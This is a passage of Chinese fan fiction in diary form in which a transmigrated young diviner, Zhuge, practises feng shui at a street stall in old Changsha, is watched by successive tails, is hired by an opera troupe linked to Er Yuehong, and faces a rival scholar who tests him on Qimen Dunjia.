第十三天
十月十三,阴。
早上出门的时候,天灰蒙蒙的,看不见太阳,但也没下雨。风从湘江方向吹过来,带着一股湿冷的水汽,钻进棉袍的领口,凉得人一哆嗦。
我裹紧了棉袍,沿着走了十几天的路线往城隍庙去。
街上的早市已经开了。卖米粉的老妇人还在老位置,锅里的白汤翻滚着,冒出骨香味。一个穿短打的汉子蹲在路边吃烧饼,吃了两口,抬头跟我打了个招呼。"诸葛先生,早。"
"早。"我点了下头,没停步。
经过馄饨摊的时候,周嫂子正在支摊子。一口大锅架在炭炉上,锅里添了新水,等着烧开。看到我,她笑了。
"小诸葛,今天来早了。"
"嫂子早。"
"吃了吗?没吃的话等会儿来一碗。今天的骨头汤熬得好,从昨天晚上就开始炖了。"
"好,收摊了来。"
小诸葛。她从前天开始这么叫我的。一开始我觉得这称呼有点太亲热了,不太习惯。但叫了两天,倒也顺口。在这条街上,有了这么名号,比"诸葛先生"让人觉得近了不少。
城隍庙前的巷子口,我的老位置。一张方桌,两把条凳,桌上铺着一块蓝布,上面摆着我自己画的八卦图和几枚铜钱。桌子是客栈刘掌柜帮我从后院找的旧家具,腿有点不平,底下垫了块瓦片。铜钱是从聚宝斋换的,老铜钱,康熙通宝和乾隆通宝各两枚,凑了四枚。
这些行头不值什么钱,但摆出来就是一个门面。在城隍庙一带混了快两周,我已经摸索出了一套规矩:摊子要摆在城隍庙后墙旁边的这个巷口,因为这里是人流的必经之路,不管是来烧香的还是逛早市的,都得从这儿过。摊子不能太大,太大了显得招摇,容易被老摊主排挤。也不能太小,太小了没气势,客人看了不信任。一张方桌两把凳子,刚刚好。
坐下之后,我先不急。泡了一碗粗茶,是巷口茶摊上买的,一枚铜板一碗,茶叶碎得跟粉末似的,但胜在热乎。一边喝茶,一边用奇门感知扫了一圈周围。
这是每天早上的固定动作。不是什么高深的术法,只是用最基础的感知能力,感受一下周围气场的流动方向。哪边的气顺,哪边的气滞,有没有什么异常的波动。做了十几天,已经成了习惯,跟练武之人每天起来打一趟拳一样。
一切正常。巷子里的气场平稳,来来往往的人身上带着各色的气息,卖菜的老农身上是泥土和菜叶的清涩味,烧香的老婆婆身上是檀香的沉厚味,隔壁铁匠铺老赵身上是铁锈和炭火的焦灼味。这些气息交织在一起,构成了一幅嘈杂但和谐的市井图景。
唯一让我留意的,是巷子对面茶摊旁边新来的一个人。
这个人大概在辰时初到的,比我早了半个时辰。他坐在茶摊最角落的那张桌子上,面前摆了一碗茶,但没怎么喝。穿着一件灰褐色的长衫,头戴一顶毡帽,帽檐压得不高不低,恰好能看到下半张脸。年纪不太好判断,三十到五十之间,脸上的肉有些松,但眼神很亮。
他坐在那里,不看报,不跟人聊天,也不东张西望。就是喝茶,偶尔抬头看一眼我的方向。
我注意到了他,但没表现出来。
这种人我见过。不是第一次见。从摆摊的第一天起,就有各种各样的人在暗中打量我。最开始是半截李手下的混混,后来是码头上的人,再后来是些说不清来路的闲汉。在长沙城这种地界,一个外来的年轻人突然冒出来,还颇有点名气,被人盯上太正常了。
但今天这个人跟之前那些不太一样。
之前那些盯梢的人,不管怎么伪装,身上都有一股"混子"气。走路带风,坐姿随意,眼神飘忽,一看就是在街头讨生活的人。这个人不一样。他坐得很端正,脊背挺直,两手放在桌上,左手覆在右手背上。这是一个读过书的人的坐姿。而且他的手指很长,指节分明,食指和中指的指腹有薄薄的茧,那是常年握笔留下的痕迹。
一个文人。一个在暗中观察我的文人。
我没有去回看他。继续喝我的茶,等我的客人。
上午的客人来得比预期多。
第一个是巷口卖杂货的孙大嫂。她家的杂货铺最近要挪位置,从街东头搬到街西头,想让我帮挑个搬家的吉日。这种小活,排个八字、翻个黄历就能解决。我问了她新铺面的朝向和门开在哪一面,掐指算了算,给了她十月二十五。
"二十五好?"
"好。天德贵人日,宜移徙、开市。那天搬,生意会顺。"
"多少钱?"
"两枚铜板就行。"
孙大嫂数了铜板放在桌上,笑着走了。她走了之后,铁匠老赵从铺子里探出头来,冲我竖了个大拇指。"诸葛先生,你给人挑日子,挑得比城隍庙里的签还准。上次张婆婆的孙子,你一说就灵了,现在满城都在传。"
"赵叔别捧了,捧得我不好意思。"
"我说的是实话。"老赵从铺子里走出来,手里拎着一把刚打好的菜刀,在围裙上擦了擦,"我打了三十年铁,什么人都见过。你这个人,跟别人不一样。"
"哪不一样?"
老赵想了想,"别的先生看风水,先看罗盘,再看八字,嘴里念念有词半天,说一堆你听不懂的话。你看风水,就问几句家常,然后就说个明白话。不装神弄鬼。"
我笑了笑,没接话。
其实不是我不想装。是我知道,在底层百姓面前,越简单越好。他们不需要听你讲什么九宫飞星、天干地支,他们只需要一个明确的答案:行还是不行,哪天好,该怎么摆。你能给出答案,而且答案管用,你就是好先生。
这是我在武当学到的另一个道理。
武当大赛的时候,我总想着怎么用最好看的方式赢。风绳、赤练、昆仑,一招接一招,花团锦簇。结果呢?王也一个风后奇门,把所有花招都压死了。不是他的招数比我好看,是他的东西比我实在。
从那以后我就明白了,真正有本事的人,不需要让所有人都知道你有多厉害。你需要的是在关键的时候,拿出一两个让人挑不出毛病的结果。剩下的,交给口碑。
口碑这东西,比任何法术都好使。
上午又接了两单。一单是帮一个卖布的老头看了看他家祖坟的朝向,收了三枚铜板。另一单是帮一个刚嫁过来的小媳妇算了算她跟丈夫的八字合不合,收了四枚铜板。小媳妇听完我说的"中平,无大碍,注意逢六的日子少拌嘴"之后,松了口气,又多给了两枚,说是"给先生买茶喝"。
到午时的时候,我已经挣了十一枚铜板。
不多,但稳定。
我收了摊,去周嫂子的馄饨摊吃了一碗馄饨。今天的汤确实好,骨头熬得浓白,上面飘着一层细碎的油花和葱花。馄饨皮薄得透光,能看到里面粉红色的肉馅。我一口一个,吃了十二个,连汤都喝了个干净。
"今天生意怎么样?"周嫂子一边擦桌子一边问。
"还行。比昨天强点。"
"那就好。你这个人啊,就是太实在。不像隔壁那个老孙头,动不动就吓唬人说'你家有大灾',一吓就是一个银毫子。"
我笑了一下。"吓出来的钱,花着不踏实。"
"你啊,就是心眼太好。"她摇了摇头,端着一碗脏水泼到墙根底下,"下午有个事跟你说一声,你那个摊子旁边,有人要加一个卖香烛的。城隍庙前面的老李头,他孙子要出来摆摊,想在你旁边支个摊子。你介意不?"
"不介意。多个人热闹。"
"我就知道你不介意。老李头说,回头让你帮他看看摊子的朝向。"
"行,随时来。"
周嫂子这个人,来长沙快三个月了,是我在这个城市里最熟悉的"本地人"之一。她丈夫以前在码头扛大包,去年秋天被一箱货物砸断了腿,到现在还没好利索。她一个人撑着馄饨摊,每天天不亮就起来熬汤,忙到半夜才收。但她的摊子永远干干净净,碗筷洗得发亮,汤底从不偷工。这种人在哪个时代都有,不起眼,但撑起了整个底层社会的运转。
我有时候觉得,她比那些大名鼎鼎的术士更让我尊敬。
下午的客人少了一些。秋天天短,申时过后太阳就开始西斜,巷子里的光线暗下来,气温也跟着降。我把棉袍的领子竖起来,双手拢在袖子里,坐在摊子后面有一搭没一搭地跟人聊天。
那个灰褐色的长衫客人还在。
他从上午到现在,一直坐在那个茶摊的角落里。中间续过一次茶,除此之外几乎没动过。我偷偷用余光打量了他几次,发现了一个有意思的细节:他每次看我,都不是直勾勾地盯着,而是趁我不注意的时候迅速地扫一眼,然后立刻把目光收回去。这种观察方式很专业,不是普通的好奇,而是受过某种训练的人在执行"监视"任务。
但他不是盯梢的混混。
那他是谁?
我没去深想。这个人既然没有恶意,也没有要接近我的意思,那就让他看着好了。我做的事没有什么见不得人的,他爱看就看。
快收摊的时候,发生了一件事。
一个中年妇人急匆匆地走到我摊子前,满头大汗,神色慌张。她穿着绸缎的夹袄,料子不错,但穿得有些邋遢,领口的扣子扣错了位。
"诸葛先生,诸葛先生!"她上气不接下气地说,"求求您,跟我走一趟。我家老爷突然犯了急病,请了好几个大夫都看不好,有人说您是活神仙,求您去看看吧。"
我愣了一下。"看病?大嫂,我是看风水的,不是看病的大夫。"
"不是病,不是病。"她急得直摆手,"我家老爷好端端地在家里坐着,突然就浑身发冷,牙齿打颤,盖了三层被子还喊冷。大夫来了说是外感风寒,开了方子吃了也不管用。有人说是撞了邪,让我找个先生去看看。"
撞邪。
我微微皱了皱眉。这种"撞邪"的案子,在底层社会非常常见。大部分情况下,所谓"撞邪"不过是受了风寒或者中了暑气,只不过这个时代的人缺乏医学知识,把一切解释不通的症状都归结为鬼神作祟。
但也不全是。
有些"撞邪"确实跟气场有关。比如住在一个气场紊乱的屋子里,时间久了,人的气血运行会被干扰,出现各种奇怪的症状。这种情况不需要请神驱鬼,只需要调整环境的气场就行了。
"大嫂别急。我先问几个问题。"
"您问,您问。"
"你家住哪个方向?房子朝哪?"
"城西,柳树巷。房子朝南开的门。"
"家里最近有没有动过什么?翻修、挪家具、挖地之类的?"
妇人想了想,"有。半个月前,我家老爷让人在院子里挖了一口井。"
"井挖在哪?"
"院子中间偏左的位置。"
我心里大概有数了。
院子中间偏左,在风水上属于"青龙位"。青龙主阳,主生发。在青龙位挖井,等于在阳气最旺的地方开了一个口子,地下的阴气会顺着井口往上涌。时间一长,整个院子的气场就会失衡,阳气下降,阴气上升。住在里面的人,身体好的人可能没什么感觉,身体弱一些或者年纪大一些的人,就会出现畏寒、失眠、精神恍惚等症状。
"大嫂,你家老爷的症状,大概是从挖了井之后开始的吧?"
妇人瞪大了眼。"您怎么知道?"
"走吧,我去看看。"
到了柳树巷,一进她家院子,我就更确定了。
院子不大,但收拾得整齐。正房三间,东西各一间厢房。院子里有一棵桂花树,树龄不短了,树干有水缸那么粗,枝叶繁茂。桂花树的右侧,新挖了一口井,井口用青石砌了一圈,大约三尺来高。
我站在院子中间,闭上眼睛,用奇门感知探了一下。
果然。井口处有一股明显的阴气在往上涌,量不算大,但持续不断。这股阴气跟桂花树的生气搅在一起,形成了一种混沌的气场,人在里面待久了,气血运行会被打乱。
问题不大。但需要处理。
"大嫂,问题出在这口井上。"我斟酌了一下措辞,"这口井的位置不太对。院子中间偏左是阳气位,在这里挖井,阴气上涌,影响家宅安宁。你家老爷的症状,就是被这股阴气侵了。"
"那怎么办?填了?"
"不用填。井已经挖好了,填了反而伤地气。"我想了想,"两个办法。第一,在井口上盖一块厚木板,平时不用的时候盖着,减少阴气外泄。第二,在院子的右侧,也就是白虎位上,立一块石头。不用太大,半人高就行。石头属阳,能镇住阴气。两相配合,气场就回来了。"
妇人连连点头,"好好好,我这就去办。"
"还有一件事。你家老爷住的屋子,窗户别对着院子开。把南边那扇窗关了,改开北边那扇。让气流换个方向走,不经过井口。"
"好好好。诸葛先生,您真是神了。"
我从她家出来的时候,妇人塞了五枚铜板在我手里。我推了一下,没推掉,就收了。
走出柳树巷的时候,我用余光扫了一眼身后。
那个灰褐色长衫的人跟在后面,大约三十步的距离。看到我出来,他不着痕迹地转进了一条侧巷,消失了。
我在心里笑了一下。
跟了一整天了。这位老兄,你的跟踪技术不怎么样。
但我并不在意。让人看着不是坏事。有人在看,说明你有价值。一个没人关注的人,才是最危险的。
第十四天
十月十四,小雨。
雨不大,细如牛毛,打在脸上不疼,但湿漉漉的让人不舒服。我没出摊,在客栈里待了一天。
上午在房间里研究那张气场分布图。窗外的雨声滴答滴答,很有节奏,适合想事情。
我盯着那张图上标注的七个节点,又想了想昨天那种被人跟踪的感觉。
半截李的人从蛇纹身换成了另一批。我注意到这个变化是在前天。之前盯我的是一个左手腕有蛇纹身的年轻人,这两天换成了两个人,一个穿灰褐色长衫的文人,另一个是昨天傍晚在客栈对面的面摊上吃面的短打汉子。他们不互相联络,也不出现在同一个位置,但轮换的节奏很规律。
这说明半截李那边换了个小组来跟进。之前的蛇纹身大概是最低级的街头混混,负责最初的盯梢。现在换上来的人,一个有文化,一个有功夫,规格提升了。
但信息依然没报到半截李本人那里。如果报了,来的就不是这几个小鱼小虾了。
我把这些信息在脑子里理了一遍,然后翻开了账簿的另一页,开始分析那张纸条。
十月十八,天心阁。
还有四天。
这四天里,我需要做两件事。第一,继续摆摊,维持日常,不表现出任何异常。第二,用奇门推演分析一下那张纸条背后可能隐藏的信息。
所谓奇门推演,不是算命那种翻黄历看吉凶的把戏。真正的奇门推演,是基于天干地支、八卦九宫、八门九星等一系列参数的综合分析。简单来说,就是把你手头掌握的有限信息输入到一个庞大的计算模型中,通过模型运算,推导出最可能的结果。
这个模型很复杂。武侯奇门的推演体系,光基础参数就有六十四个天干组合、八个门的吉凶属性、九颗星的影响力系数。再加上时间、空间、方位等变量,每一次推演都是一个小型的矩阵运算。
我坐在桌前,用炭条在纸上画了一个九宫格。
十月十八。壬申日。天干壬属水,地支申属金。金生水,日主旺相。
天心阁。在长沙城的正南方位。南方属火,离位。
壬水坐离火,水火既济。这是一个"交感"的格局,意味着那一天会有某种重要的接触或交流发生。
我把铜钱排在九宫格里,起了一局。
结果让我微微挑了挑眉。
"开门"临日干。开门主开放、坦诚、直言不讳。这意味着十月十八那天,我面对的将是一个"开门见山"的局面。不是暗中的试探,不是隐晦的暗示,而是面对面的、直接的交流。
对方想跟我谈谈。
这个结论让我稍微松了口气。之前我担心那张纸条是一个局,一个类似"引气入局"那样的陷阱。但现在看来,不是。它更像是一封邀请函。一封措辞简洁、目的明确的邀请函。
谁会给我发这样的邀请函?
范围很小。齐铁嘴的可能性最大。其次是解九爷。但解九爷是出了名的深居简出,不会用这种方式。
大概率是齐铁嘴。
我把纸上的九宫格擦掉,把账簿合上。
窗外的雨还在下。刘掌柜在楼下劈柴,斧子落在木头上的声音沉闷而有节奏。我躺在床上,听着雨声和斧声,脑子里在想另一件事。
那个灰褐色长衫的人,到底是谁?
他跟踪了我两天。但他的跟踪方式太粗糙了,不像是半截李手下那种训练过的盯梢人。他更像是一个纯粹好奇的人。一个对我不太了解、但又很感兴趣的人,想亲自来看看我到底是什么样的人。
这种眼神我见过。在原来的世界里,每当我研究一个复杂的奇门阵法时,镜子里我自己的眼神就是这样的。
有意思。
我翻了个身,面朝墙壁。
窗外的雨声渐渐小了。
第十五天
十月十五,晴。
天放晴了,但温度更低。早上出门的时候,我呼出的气在空中凝成一团白雾,几秒钟才散。
街上的行人比雨天多了一些。天晴了就得出来讨生活,这是底层人的本能。
我今天出摊比平时早了一刻钟。不是因为有急事,是因为我在路上买了一个烧饼,边吃边走,速度比平时快了点。
今天的烧饼是在新来的一家摊子上买的。老张头的烧饼摊昨天开了张,就在我摊子斜对面。老李头帮他孙子支的摊子,卖的是香烛纸钱,也在附近。一下子多了两个邻居,城隍庙这头比前几天热闹了不少。
到了摊子前,我刚把桌凳摆好,还没坐稳,就来了一个人。
这个人让我愣了一下。
不是因为他的模样,而是因为他的衣着和气质。
他穿着一件青色的长衫,料子是细棉布的,浆洗得很干净,没有补丁,但也不是新衣服。腰间系着一条黑色的布带,脚上穿着一双千层底布鞋,鞋帮子上沾了些泥,像是走了不少路。头上戴了一顶小帽,帽檐下露出一张清瘦的脸,三十来岁的样子,五官端正,眉目之间有一股书卷气。
但最让我注意的,不是他的穿着,而是他的体态。
这个人站在那里,背脊挺直,两手自然垂在身侧,下巴微收。这是一个长期受过某种训练的人才有的姿态。不是军人的那种刚硬,而是一种更柔和、更内敛的端正。像是一个在大家族里伺候多年的管事,一举一动都带着一种不自知的规矩感。
"诸葛先生?"他开口了,声音不高,但很清晰。
"我是。"
"久仰。我姓沈,在城南的戏班子里做事。有个事想请先生帮忙看看。"
戏班子。
我脑子里立刻闪过一个念头。长沙城的戏班子有好几个,但能让手下人以这种姿态出来的,只有一个。
二月红的戏班。
但面上什么都没露。我笑了笑,"沈先生请坐。什么事?"
他在条凳上坐下来,斟酌了一下措辞,说:"是这样的。我们戏班子最近在天韵楼唱戏,唱的是《长生殿》,连唱了半个月,场场满座。但从十天前开始,出了点状况。"
"什么状况?"
"几个角儿嗓子突然就哑了。不是感冒那种哑,是唱到一半突然就哑了,一点征兆都没有。请了大夫看,大夫说没什么毛病。但第二天一开嗓,又不行了。台柱子哑了,戏就没法唱,票退了不少,班主急得不行。"
"然后呢?"
"班主找了个老先生来看。老先生说是戏台的方位有问题,犯了什么煞。但他看了看,也没看出个所以然来,就走了。之后又找了两个,一个说是后台的门开错了方向,另一个说是戏台底下压了什么不好的东西。说法不一,但嗓子该哑还是哑。"
"所以你来找我了。"
沈先生有些不好意思地笑了笑,"实话说,是听人说起诸葛先生在这边名声好。我想着,不管灵不灵,多一个人看看总没坏处。"
"戏台在哪个方向?"
"天韵楼在城东的棉花巷,离这儿不远。"
"行,我去看看。"
我收了摊子,跟着他往城东走。路上我注意到,他走路的姿态很稳,步幅均匀,不像一般戏班子里跑杂务的人。那种走法,更像是在大户人家里伺候惯了的人,不急不躁,每一步都踩得恰到好处。
天韵楼是一个中等规模的戏园子,能坐三四百人。我们到的时候还没开演,园子里空荡荡的,伙计们在扫地擦桌子。
沈先生带我绕到后台。
戏台的后台不大,三面墙围成一个凹字形,中间摆着几面铜镜和化妆用的桌子。墙上挂着戏服,角落里堆着道具。我站在后台中间,闭上眼,用奇门感知探了一圈。
问题很快找到了。
戏台的朝向是坐西朝东,这在风水上不算好也不算坏。但问题出在戏台的正南方。大约十步远的地方,有一棵老槐树,树龄至少在五十年以上。老槐树的根系发达,在地下延伸得很远。戏台的地基在修建的时候,大概没有考虑到这个问题,有一角正好压在老槐树的一条粗根上方。
老槐树属阴。树根在戏台地下穿破土层,带上来一股阴寒的地气。这股地气平时不明显,但在秋天,阳气衰退、阴气渐盛的时候,就会对台上的演员产生影响。唱戏需要嗓子的中气充足,阴气一侵,声带的气血运行受阻,嗓子自然就出了问题。
"沈先生,问题找到了。"我睁开眼,"戏台正南那棵老槐树,根系穿到了戏台底下。秋天的时候阴气重,树根的阴气上涌,影响台上的气场。你们那几个角儿嗓子哑,不是生病,是被阴气侵了。"
沈先生听得认真,"那怎么解决?"
"两个办法。上策,在戏台和老槐树之间挖一道沟,深二尺,宽一尺,填上石灰和碎石。石灰属阳,能隔断树根的阴气。下策,在戏台的四个角各埋一枚铜钱,形成一个小阵法,把阴气压住。但下策只管一时,过了秋天还会复发。"
"那就用上策。"沈先生毫不犹豫,"挖沟的事我来安排。"
"还有一件事。在沟挖好之前,你们每天开演之前,让演员们在后台点一炷艾草。艾草属纯阳,能驱阴散寒。不需要什么仪式,就是点着了放在后台熏一熏就行。"
沈先生连连点头,把这些都记了下来。
我从后台出来的时候,沈先生跟了上来。他从怀里掏出一个小布袋,递给我。
"诸葛先生,这是诊金。"
我掂了掂,大概有十几枚铜板的分量。"多了。看个风水而已,五枚就够了。"
"诸葛先生客气了。我们班主说了,要是能解决嗓子的问题,这点诊金不算什么。"
我犹豫了一下,还是收了。出门在外,钱不嫌多。
我跟他往回走的路上,走到棉花巷口的时候,沈先生忽然停了一下脚步,像是想到了什么似的,随口说了一句。
"诸葛先生,不瞒您说,我们二爷最近也常提到,城里要有个真正懂行的人就好了。今天见了您,我觉得二爷说得没错。长沙城确实需要像您这样的人。"
二爷。
我的心跳快了半拍,但面上什么变化都没有。
"沈先生过奖了。我就是个摆摊的,哪当得起这种话。"
沈先生笑了笑,没再多说。他跟我拱了拱手,转身往戏园子的方向走去。
我站在巷口,看着他的背影消失在人群里。
二爷。二月红。
果然。
二月红开始注意我了。不是通过什么大张旗鼓的方式,而是通过一个手下人、一句轻描淡写的话。这是大家族的做派。他们不会直接来找你,不会给你递帖子请帖,而是通过一层又一层的中间人,把信息一点一点地传递给你。等你反应过来的时候,你已经在这张网里了。
但我不急。
二月红注意到我,说明我的名气已经到了一个临界点。一个在城隍庙摆摊的风水先生,居然被城南的戏班子请去看事。这种事在长沙城的底层社会里传开了,自然会一层层地往上传。
但我现在还不是二月红要找的那个"真正懂行的人"。我只是刚刚入了他的眼。从"入眼"到"入局",还有很长的路要走。
我把布袋揣进怀里,继续往城隍庙走。
回到摊子前的时候,我注意到巷口的茶摊旁边又换了一个人。
不是那个灰褐色长衫的跟踪者。是另一个人。一个完全陌生的人。
这个人穿着一件黑色的短褂,头上没戴帽子,头发梳得整整齐齐。他蹲在茶摊边上喝茶,姿态随意,像是这条街上的常客。
但我注意到他左手的虎口处有一道旧疤,是那种被刀刃划过的痕迹。这种疤不是干活留下的,是打架留下的。虎口位置的刀伤,说明这个人习惯用右手持刀跟人搏斗。
又一个盯梢的。
但今天已经是第三批了。从蛇纹身到灰褐色文人到短打跟踪者,再到现在这个虎口有疤的人。换人的频率在加快。
这不正常。
如果还是半截李的人在盯梢,换人是为了保持隐蔽性。但换得这么快,说明前面的人可能被发现了,或者换了任务。
也许那个灰褐色的文人根本就不是半截李的人。
我把这个想法记在心里,没有表露出来。坐下来,泡了碗茶,继续等客人。
下午来了几单小活。帮一个开米铺的老头看了看仓库的通风方位,帮一个刚生了孩子的年轻夫妻挑了个满月酒的吉日。收入不多,七八枚铜板。
收摊的时候,铁匠老赵路过,递给我一根旱烟。我没客气,接过来在烟袋锅里装上,凑着他的火点燃,吸了一口。
辛辣的烟雾灌进肺里,呛得我咳嗽了两声。老赵哈哈大笑。
"诸葛先生,你不会抽烟?"
"不太会。平时不抽。"
"那你得学学。在这条街上混,不会抽烟喝酒,跟人聊不到一块去。"
我笑了笑,把烟抽完。老赵是个好人,心直口快,不藏着掖着。在这条街上,他是我最亲近的"朋友"之一。不是因为交情有多深,而是因为他是唯一一个不把我当"先生"看的人。在他眼里,我就是一个年轻的、有点本事的、值得照顾的后辈。
"赵叔,最近生意怎么样?"
"还行。天冷了,打刀的人少了,打铁锅的多。铁锅好卖,家家都缺。"
"那就好。"
老赵走了之后,我也收了摊子往回走。走到巷口的时候,那个虎口有疤的人已经不在了。
但我知道,明天还会换一个新面孔来。
第十六天
十月十六。晴,冷。
今天是穿越以来最冷的一天。早上出门的时候,我看到地上有一层薄薄的白霜,踩上去嘎吱嘎吱响。空气冷得刺骨,吸进去的时候鼻子都疼。
我在棉袍里面又套了一件夹袄,这才勉强扛住。
今天的生意不算忙。天太冷了,街上的人比平时少了一半。我缩在摊子后面,手里捧着一碗热茶,时不时搓搓手。
上午十点左右,一个人走到了我的摊子前。
看到他的第一眼,我就知道,这个人来者不善。
不是说他带着杀气或者恶意,而是他的气场不对。他的气场非常活跃,活跃得过分了。一个人的气场如果平稳,说明他内心安定。但如果气场翻涌得像烧开的水,说明他的大脑正在高速运转,而且带着某种强烈的情绪。
那种情绪,我花了一秒钟判断出来。
不是好奇。是敌意。
他穿着一件深蓝色的棉袍,外面套了一件黑色的马褂,头上戴着一顶瓜皮帽。年纪在三十出头,身量中等偏瘦,面色白净,五官清隽,鼻梁上架着一副圆框眼镜,镜片后面的眼睛又亮又精,嘴唇很薄,嘴角微微上翘,带着一股天生的笑意。整个人收拾得干净利落,衣袍上没有褶子,马褂的盘扣系得一丝不苟,一看就是讲究人。走路的姿态很松弛,两手背在身后,不紧不慢,骨子里有股书卷气,像个从私塾里走出来的年轻先生。
但他那双眼睛里没有笑意。
"这位就是诸葛先生吧?"他在我面前站定,拱了拱手,语气随意,像在跟一个刚认识的街邻打招呼。
"我是。先生有什么需要?"
"需要?"他笑了一声,在条凳上坐下来,也不等我招呼,自己伸手拿了桌上的茶壶,给自己倒了一杯茶。茶是我早上泡的粗茶,他端起来看了一眼,喝了一口,脸上的表情微妙地变了一下。
"你这茶不行。"他放下杯子,直截了当地说。"碎叶子,泡老了。喝这种东西,嗓子会坏。"
"穷讲究不起。能解渴就行。"
"解渴?"他挑了挑眉,那对薄嘴唇翘得更高了。"诸葛先生,你在长沙城摆了快半个月摊,帮人看风水、挑日子、断吉凶,名声都快传到北门去了。结果自己连碗像样的茶都喝不上?"
这话听着像是在替我不值,但我听出了底下的意思。
他在试探。而且带着刺。
"混口饭吃而已。"我保持着笑容。"先生到底有什么事?"
"没事。"他翘起二郎腿,两手搁在膝盖上,一副闲聊的派头。"就是路过,听说城隍庙有个年轻的风水先生看得很准,过来看看。"
"看出什么了?"
"看出了你生意不错。"他的笑意加深了一些,但那双小眼睛里的光冷了一层。"我听说你上个月帮一个布庄掌柜看了气口,当天就灵了。又帮一个孩子调了睡觉的方位,当晚就不哭了。昨天还帮一个戏班子去看了戏台的煞气。好家伙,这手段,这效率,长沙城多少老先生干了一辈子都没这本事。你一个外来的年轻人,来了半个月就做到了。了不起。"
他说的每件事都是真的。而且细节精确,连戏班子的事都知道了。这说明他的消息渠道非常广,广到了让我警觉的程度。
但更让我警觉的,是他的语气。
那种"了不起"三个字,不是赞叹。是一种带着酸味的审视。就好像一个在街上卖了二十年的老摊贩,忽然看到对面开了家新店,半个月就把自己的老客人抢走了一半。嘴上说着"了不起",心里想的是"你凭什么"。
我忽然明白了。
风水和算命,在长沙城百姓的眼里,是同一类行当。城隍庙一带的人要看风水、问吉凶、挑日子,以前找的是谁?是那些在这条街上混了十几二十年的老术士、老半仙。现在忽然冒出来一个外来的年轻人,看得准、说话利索、收费还低,客人全往我这边跑。
在这位老兄眼里,我不是什么"有本事的新人"。我是来抢他饭碗的。
这个认知让我心里微微一松。敌意不可怕,可怕的是你不知道对方为什么对你有敌意。知道了原因,就能应对。
"先生过奖了。"我给他倒了杯茶,"都是些小活,不值一提。长沙城里的老先生们比我强的多的是,我就是运气好,碰上的都是简单的案子。"
"运气?"他笑了一声,声音不高,但尾音里带着一种不屑。"诸葛先生,你知道长沙城有多少看风水的?城隍庙这条街上,前前后后算起来,十几个。有的干了二十年,有的干了十年。他们为什么没有你这样的名气?他们运气不好?"
"也许吧。"
"也许?"他靠回椅背上,盯着我看了两秒钟。那双明亮的眼睛里,敌意更浓了。"我在这条街上混了些年头了。什么人看过风水、什么人算过命,我多少都知道一些。以前这些人的客人,现在有一半往你这边跑。你说,这些人心里能痛快吗?"
这是在替别人抱不平?还是在替自己抱不平?
我判断了一下。他的穿着不寒酸,棉袍和马褂的料子都不差,手上戴着一枚成色不错的玉扳指。他不像是靠在城隍庙摆摊讨生活的人。但他对这条街上的术士圈子了如指掌,而且说到"客人往我这边跑"的时候,语气里有一种切肤之痛。
他可能不是在这条街上摆摊的,但他跟这条街上的术士圈子有某种利益关联。也许是合伙,也许是师徒,也许只是同乡。不管是什么关系,我的出现影响了他的人的利益,而他把这笔账算在了我头上。
"先生说的是。"我点了点头,不否认也不辩解。"抢了别人的生意,这事我确实过意不去。但我总不能不摆摊了吧?总不能让客人们不去找我看事,非要去找别人吧?人家愿意来,我总不能把人往外赶。"
他愣了一下。大概没料到我这么直接。
"我不是说让你不摆摊。"他收起了二郎腿,坐正了一些。语气里的刺少了一点,取而代之的是一种更直接的东西。"我是说,你这人有点意思。明明有本事,偏偏装得像个无害的小绵羊。你在这条街上扮猪吃老虎,到底想干什么?"
来了。这才是他真正想问的问题。
前面那些关于"抢饭碗"的酸话,都是铺垫。他真正在意的,不是几个铜板的生意,而是我的目的。一个来历不明的年轻人,有本事,有名气,还在快速地扩张地盘。在长沙城这种地方,这种人要么是大有来头,要么是大有所图。不管哪种,都值得他亲自来摸一摸。
"先生想多了。"我笑了笑。"我能有什么目的?就是混口饭吃。等攒够了钱,说不定哪天就走了。长沙城再好,也不是我的家。"
"走了?"他的眉头动了一下。"你舍得走?"
"有什么舍不得的?"
他盯着我看了好一会儿,那双小眼睛眯得更细了。然后他忽然笑了,笑容里的敌意褪去了一些,取而代之的是一种更复杂的东西。
"诸葛先生,我考考你。"
"考我?"
"对。"他从怀里摸出一枚铜钱,拍在桌上。"你在这一带帮人看了这么多风水,都说得头头是道。那我问你,奇门遁甲四个盘,天地人神,哪个最重要?"
这是一道真正的术数问题。不是街头半仙能问出来的。
我重新打量了他一眼。这个人,对术数有功底。
"天地人神,缺一不可。"我想了想,给了一个稳妥的答案。"但如果非要选一个,我选'人'。"
"为什么?"
"天时不如地利,地利不如人和。天盘再好,地盘再妙,操盘的是人。人心不正,再好的局也是废局。"
他听完,脸上的表情变了。敌意没有完全消失,但多了一层新的东西。
不服。
那种"我说不过你但我不服"的不甘心。
他是个有功底的人。正因为有功底,所以当我给出一个他认为"有道理但我不完全同意"的答案时,他的反应不是退让,而是较劲。
"人和?"他冷笑了一声。"诸葛先生,你这话说得太书生气了。奇门遁甲是术法,不是儒学。你拿'人和'来解释奇门,就像拿菜刀来切绸缎,不对路。"
"那老兄觉得呢?"
"我觉得是'地'。"他毫不犹豫。"奇门遁甲的根基在盘,盘在地上。没有地盘,天盘转不了,人盘定不住,神盘更是空中楼阁。你脚下踩的那块地,才是一切的根本。"
"有道理。"我点了点头。"但地不会自己动。地要靠天来推,靠人来用。你脚下那块地再好,没人操盘,也就是一块死地。"
"死地?"他冷笑。"你知不知道,长沙城地底下埋了多少东西?那些东西在地下躺了几百年上千年了,它们是死的吗?"
我的心微微一沉。
他话里有话。"长沙城地底下埋的东西",这个说法已经不是在讨论学术了。
"老兄知道的不少。"我笑了笑,语气轻松。
"我知道的比你想象的多。"他看着我,笑意在嘴角转了一圈。"诸葛先生,我再问你一个问题。你来长沙半个月,帮人看过风水、挑过日子、断过吉凶。但你在你帮人看的那些宅子里,有没有发现什么……不寻常的东西?"
不寻常的东西。
他在问那个"引气入局"的宅子。
"什么意思?"我装糊涂。
"别装了。"他的语气变得直白。"你在那个宅子里,看到了一些东西。你看出来了,但你没说。你以为没人知道,但我知道。"
我的手指微微一紧。
"老兄,你到底是谁?"
他没回答这个问题。而是站起来,拍了拍棉袍上的灰。
"你今天帮的那个戏班子,城南天韵楼。那几个角儿嗓子哑了,你去看了一眼,说是老槐树的根在作怪。挖条沟、填点石灰就好了。对不对?"
"对。"
"诸葛先生,你信不信,你去看之前,已经有三个人去看了。三个老先生,一个说是门开错了方向,一个说是戏台底下压了东西,还有一个说是犯了一个什么煞。他们看了半天,什么都没看出来。你去了,一眼就看出来了。"
他顿了顿,声音沉了下来。
"你说,这事传出去,别人怎么想?"
"别人怎么想?"
